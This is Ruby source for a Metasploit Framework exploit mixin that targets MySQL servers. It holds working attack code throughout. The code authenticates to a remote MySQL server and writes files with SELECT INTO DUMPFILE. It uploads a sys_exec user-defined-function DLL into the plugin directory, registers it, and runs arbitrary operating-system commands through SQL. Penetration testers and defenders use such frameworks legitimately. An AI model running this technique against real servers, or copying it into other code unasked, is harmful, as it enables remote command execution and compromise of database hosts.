metasploit-framework/lib/msf/core/exploit/mysql.rb

228 lines
5.9 KiB
Ruby
Raw Normal View History

# -*- coding: binary -*-
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
###
# This module provides methods for communicating with a host running MySQL.
###
require 'msf/core'
require 'rbmysql'
module Msf
module Exploit::Remote::MYSQL
2013-08-30 21:28:33 +00:00
include Exploit::Remote::Tcp
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(3306),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
], Msf::Exploit::Remote::MYSQL
)
end
def mysql_login(user='root', pass='', db=nil)
disconnect if self.sock
connect
begin
@mysql_handle = ::RbMysql.connect({
:host => rhost,
:port => rport,
:read_timeout => 300,
:write_timeout => 300,
:socket => sock,
:user => user,
:password => pass,
:db => db
})
rescue Errno::ECONNREFUSED
print_error("Connection refused")
return false
rescue RbMysql::ClientError
print_error("Connection timedout")
return false
rescue Errno::ETIMEDOUT
print_error("Operation timedout")
return false
rescue RbMysql::HostNotPrivileged
print_error("Unable to login from this host due to policy")
return false
rescue RbMysql::AccessDeniedError
print_error("Access denied")
return false
end
return true
end
def mysql_logoff
@mysql_handle = nil if @mysql_handle
disconnect if self.sock
end
def mysql_login_datastore
begin
res = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
res = false
end
return res
end
def mysql_query(sql)
begin
res = @mysql_handle.query(sql)
rescue ::RbMysql::Error => e
print_error("MySQL Error: #{e.class} #{e.to_s}")
return nil
rescue Rex::ConnectionTimeout => e
print_error("Timeout: #{e.message}")
return nil
end
res
end
def mysql_get_plugin_dir
print_status "Checking for MySQL plugin directory..."
plugin_res = nil
base_res = nil
plugin_res = mysql_get_variable("@@plugin_dir") rescue nil
begin
res = mysql_query("show variables like 'basedir'")
base_res = res.first[1] if res.respond_to? :first
rescue nil
end
if plugin_res.respond_to? :split
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
2013-08-30 21:28:33 +00:00
elsif base_res.respond_to? :split
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
2013-08-30 21:28:33 +00:00
else
print_error "Cannot determine the plugin directory."
return false
end
end
def mysql_get_temp_dir
print_status "Checking for temp directory..."
res = mysql_get_variable("@@tmpdir")
if res.respond_to? :split
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
2013-08-30 21:28:33 +00:00
else
print_error "Cannot determine the temp directory, exiting."
return false
end
end
def mysql_get_variable(var)
res = mysql_query("SELECT #{var}")
if res and res.respond_to? :first
return res.first.first
end
end
def mysql_upload_binary(bindata)
blob = "0x"
blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join
tmpdir = mysql_get_temp_dir
binname = Rex::Text.rand_text_alpha(8)
binpath = tmpdir << binname
print_status "Uploading binary as #{binpath}..."
res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
return res
end
def mysql_upload_sys_udf(arch=:win32,target_path=nil)
fname = (arch == :win32 ? "lib_mysqludf_sys_32.dll" : "lib_mysqludf_sys_64.dll")
sys_dll = File.join( Msf::Config.install_root, "data", "exploits", "mysql", fname )
data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
blob = "0x"
blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
dll_name = Rex::Text.rand_text_alpha(8)
target_dll = target_path << dll_name << ".dll"
print_status "Uploading #{fname} library to #{target_dll}..."
mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
return dll_name << ".dll"
end
def mysql_drop_and_create_sys_exec(soname)
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
return false if res.nil?
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil?
return true
end
def mysql_get_arch
print_status "Checking target architecture..."
res = mysql_get_variable("@@version_compile_os")
return :unknown unless res
case res
when /Win64/i
:win64
when /Win32/i
:win32
else
res
end
end
def mysql_add_sys_exec
arch = mysql_get_arch
case arch
when :win64,:win32
target_path = mysql_get_plugin_dir
if target_path
print_status "Target arch (#{arch}) and target path both okay."
soname = mysql_upload_sys_udf(arch,target_path)
mysql_drop_and_create_sys_exec(soname)
return true
else
print_status "Cannot determine an appropriate target path."
false
end
when :unknown
print_error "Cannot determine target's architecture"
return false
else
print_error "Target is an incompatible architecture: #{arch}"
return false
end
end
def mysql_check_for_sys_exec
print_status "Checking for sys_exec()..."
res = mysql_query("select * from mysql.func where name = 'sys_exec'")
res.size == 1
end
def mysql_sys_exec(cmd,doprint=false,opts={})
res = mysql_query("select sys_exec('#{cmd}')")
if res && doprint
print_status "Executing: #{cmd}"
return res
end
end
end
end